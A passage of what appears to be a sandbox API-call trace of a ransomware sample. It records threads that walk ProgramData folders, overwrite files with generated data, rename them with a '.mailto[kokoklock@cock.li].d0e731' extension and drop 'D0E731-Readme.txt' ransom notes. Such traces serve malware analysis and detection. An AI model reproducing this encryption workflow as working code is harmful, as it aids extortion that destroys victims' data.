hFindFile=0x33e0518) returned 1 [0083.049] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f2908) returned 1 [0083.049] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eaf50) returned 1 [0083.049] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347be68) returned 1 [0083.049] RtlExitUserThread (Status=0x0) Thread: id = 865 os_tid = 0x1488 [0078.209] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xaa) returned 0x34294a0 [0078.209] wcscpy (in: _Dest=0x34294a0, _Source="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0078.209] wcscat (in: _Dest=0x34294a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\" [0078.209] wcscat (in: _Dest=0x34294a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*" [0078.209] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f2b70 [0078.209] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x33f2b70 | out: lpFindFileData=0x33f2b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0558 [0078.209] wcscmp (_String1=".", _String2=".") returned 0 [0078.209] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x33f2b70 | out: lpFindFileData=0x33f2b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.209] wcscmp (_String1="..", _String2=".") returned 1 [0078.209] wcscmp (_String1="..", _String2="..") returned 0 [0078.209] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x33f2b70 | out: lpFindFileData=0x33f2b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0078.209] wcscmp (_String1="packages", _String2=".") returned 1 [0078.209] wcscmp (_String1="packages", _String2="..") returned 1 [0078.209] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb8) returned 0x3431700 [0078.209] wcscpy (in: _Dest=0x3431700, _Source="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0078.210] wcscat (in: _Dest=0x3431700, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\" [0078.210] wcscat (in: _Dest=0x3431700, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" [0083.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3431700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa18 [0083.046] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x33f2b70 | out: lpFindFileData=0x33f2b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0083.046] FindClose (in: hFindFile=0x33e0558 | out: hFindFile=0x33e0558) returned 1 [0083.047] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f2b70) returned 1 [0083.047] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34294a0) returned 1 [0083.047] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0d80) returned 1 [0083.047] RtlExitUserThread (Status=0x0) Thread: id = 866 os_tid = 0x148c [0078.210] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml")) returned 0x20 [0078.210] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml", dwFileAttributes=0x20) returned 1 [0078.211] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa18 [0078.211] GetFileSizeEx (in: hFile=0xa18, lpFileSize=0x1fe3fa48 | out: lpFileSize=0x1fe3fa48*=7361) returned 1 [0078.211] SetFilePointerEx (in: hFile=0xa18, liDistanceToMove=0x1cbd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.211] ReadFile (in: hFile=0xa18, lpBuffer=0x1fe3fa1c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1fe3fa18, lpOverlapped=0x0 | out: lpBuffer=0x1fe3fa1c*, lpNumberOfBytesRead=0x1fe3fa18*=0x4, lpOverlapped=0x0) returned 1 [0078.213] SetFilePointerEx (in: hFile=0xa18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.213] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0078.213] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492d20 [0078.213] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492d48 [0078.213] NtQuerySystemTime (in: CurrentTime=0x1fe3f9f4 | out: CurrentTime=0x1fe3f9f4*=132121176361127807) returned 0x0 [0078.213] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0x8fbc0e3c [0078.213] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0x2241cdd3 [0078.213] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0x11d76873 [0078.213] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0xe8940807 [0078.213] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0x1618a589 [0078.213] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0x86c3a7ae [0078.213] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0xb0983cae [0078.213] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0x8b908a55 [0078.213] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0x4d035266 [0078.213] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0x63d7ea61 [0078.213] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0x87235f00 [0078.213] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0x9da6b781 [0078.213] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0x62ff5ca3 [0078.213] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0xca48bdff [0078.213] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0xf2e85b18 [0078.213] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0x31f3ceee [0078.213] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0x4c6945f0 [0078.214] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0x282c1da2 [0078.214] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0xf4da4900 [0078.214] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0x33de5339 [0078.214] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0xb33f05b2 [0078.214] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0x44a2f89a [0078.214] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0xbc56f5a8 [0078.214] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0x8a8f87fe [0078.214] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0xdad71908 [0078.214] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0xd2da9ba8 [0078.214] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0x8ec14dde [0078.214] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0x96829fe1 [0078.214] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0x31fc2c2a [0078.214] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0x4322d462 [0078.214] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0xd6afa1d6 [0078.214] RtlRandom (in: Seed=0x1fe3fa00 | out: Seed=0x1fe3fa00) returned 0xaad79570 [0078.224] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.224] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0078.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0078.225] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0078.225] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0078.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0078.225] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0078.271] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.271] ReadFile (in: hFile=0xa18, lpBuffer=0x348d230, nNumberOfBytesToRead=0x1cc1, lpNumberOfBytesRead=0x1fe3f9f4, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x1fe3f9f4*=0x1cc1, lpOverlapped=0x0) returned 1 [0078.272] SetFilePointerEx (in: hFile=0xa18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1fe3f9bc | out: lpNewFilePointer=0x0) returned 1 [0078.272] WriteFile (in: hFile=0xa18, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x1cc1, lpNumberOfBytesWritten=0x1fe3f9f0, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x1fe3f9f0*=0x1cc1, lpOverlapped=0x0) returned 1 [0078.272] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0078.272] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34928c0 [0078.272] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34928c0) returned 1 [0078.272] WriteFile (in: hFile=0xa18, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1fe3f9ec, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x1fe3f9ec*=0x20, lpOverlapped=0x0) returned 1 [0078.272] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0078.273] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.273] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0078.273] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0078.273] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0078.273] WriteFile (in: hFile=0xa18, lpBuffer=0x3492898*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1fe3fa18, lpOverlapped=0x0 | out: lpBuffer=0x3492898*, lpNumberOfBytesWritten=0x1fe3fa18*=0x8, lpOverlapped=0x0) returned 1 [0078.273] WriteFile (in: hFile=0xa18, lpBuffer=0x1fe3fa30*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1fe3fa18, lpOverlapped=0x0 | out: lpBuffer=0x1fe3fa30*, lpNumberOfBytesWritten=0x1fe3fa18*=0x4, lpOverlapped=0x0) returned 1 [0078.273] WriteFile (in: hFile=0xa18, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1fe3fa18, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1fe3fa18*=0x4, lpOverlapped=0x0) returned 1 [0078.273] WriteFile (in: hFile=0xa18, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1fe3fa18, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1fe3fa18*=0x6c, lpOverlapped=0x0) returned 1 [0078.273] WriteFile (in: hFile=0xa18, lpBuffer=0x3492d20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1fe3fa18, lpOverlapped=0x0 | out: lpBuffer=0x3492d20*, lpNumberOfBytesWritten=0x1fe3fa18*=0x20, lpOverlapped=0x0) returned 1 [0078.273] WriteFile (in: hFile=0xa18, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1fe3fa18, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1fe3fa18*=0x4, lpOverlapped=0x0) returned 1 [0078.273] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492d20) returned 1 [0078.273] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492d70) returned 1 [0078.273] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492898) returned 1 [0078.273] CloseHandle (hObject=0xa18) returned 1 [0078.273] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10a) returned 0x33e8f08 [0078.274] wcscpy (in: _Dest=0x33e8f08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml" [0078.274] wcscat (in: _Dest=0x33e8f08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0078.274] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0078.275] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0078.275] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8f08) returned 1 [0078.275] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml", dwFileAttributes=0x20) returned 0 [0078.275] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f8248 [0078.275] wcscpy (in: _Dest=0x33f8248, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\" [0078.275] wcscat (in: _Dest=0x33f8248, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\D0E731-Readme.txt" [0078.275] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\d0e731-readme.txt")) returned 0xffffffff [0078.275] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa18 [0078.277] WriteFile (in: hFile=0xa18, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1fe3fa14, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1fe3fa14*=0x481, lpOverlapped=0x0) returned 1 [0078.278] CloseHandle (hObject=0xa18) returned 1 [0078.278] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f8248) returned 1 [0078.278] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434b68) returned 1 [0078.279] RtlExitUserThread (Status=0x1) Thread: id = 867 os_tid = 0x1490 [0078.271] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\masterdatastore.xml")) returned 0x20 [0078.280] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 1 [0078.280] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa18 [0078.280] GetFileSizeEx (in: hFile=0xa18, lpFileSize=0x1febfc18 | out: lpFileSize=0x1febfc18*=271) returned 1 [0078.280] SetFilePointerEx (in: hFile=0xa18, liDistanceToMove=0x10b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.280] ReadFile (in: hFile=0xa18, lpBuffer=0x1febfbec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1febfbe8, lpOverlapped=0x0 | out: lpBuffer=0x1febfbec*, lpNumberOfBytesRead=0x1febfbe8*=0x4, lpOverlapped=0x0) returned 1 [0078.281] SetFilePointerEx (in: hFile=0xa18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.281] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0078.282] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492d20 [0078.282] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492d70 [0078.282] NtQuerySystemTime (in: CurrentTime=0x1febfbc4 | out: CurrentTime=0x1febfbc4*=132121176361752587) returned 0x0 [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0x416c266d [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0xc29ac62d [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0x36d9702c [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0xb6073174 [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0x92fdc7aa [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0x82c0787d [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0xe1354b46 [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0xb3bd4e74 [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0xb38617c2 [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0x2ea4ea01 [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0x9a7540ea [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0xdc8d4838 [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0x45bc9502 [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0xa50f441d [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0x690107 [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0x6526c95 [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0xb1604ece [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0xa49c405c [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0x898aa0d8 [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0x760137af [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0xac4f6dd [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0xb8637b42 [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0x55fd1699 [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0x8a75d096 [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0xef846a0f [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0xc7aaad21 [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0x99ed9991 [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0xa9d74b48 [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0xc8de3f3f [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0x5479e43e [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0xb833401c [0078.282] RtlRandom (in: Seed=0x1febfbd0 | out: Seed=0x1febfbd0) returned 0x499322f6 [0078.293] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.293] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0078.293] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0078.293] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0078.293] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0078.293] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0078.293] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0078.293] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.294] ReadFile (in: hFile=0xa18, lpBuffer=0x348d230, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x1febfbc4, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x1febfbc4*=0x10f, lpOverlapped=0x0) returned 1 [0078.294] SetFilePointerEx (in: hFile=0xa18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1febfb8c | out: lpNewFilePointer=0x0) returned 1 [0078.294] WriteFile (in: hFile=0xa18, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x10f, 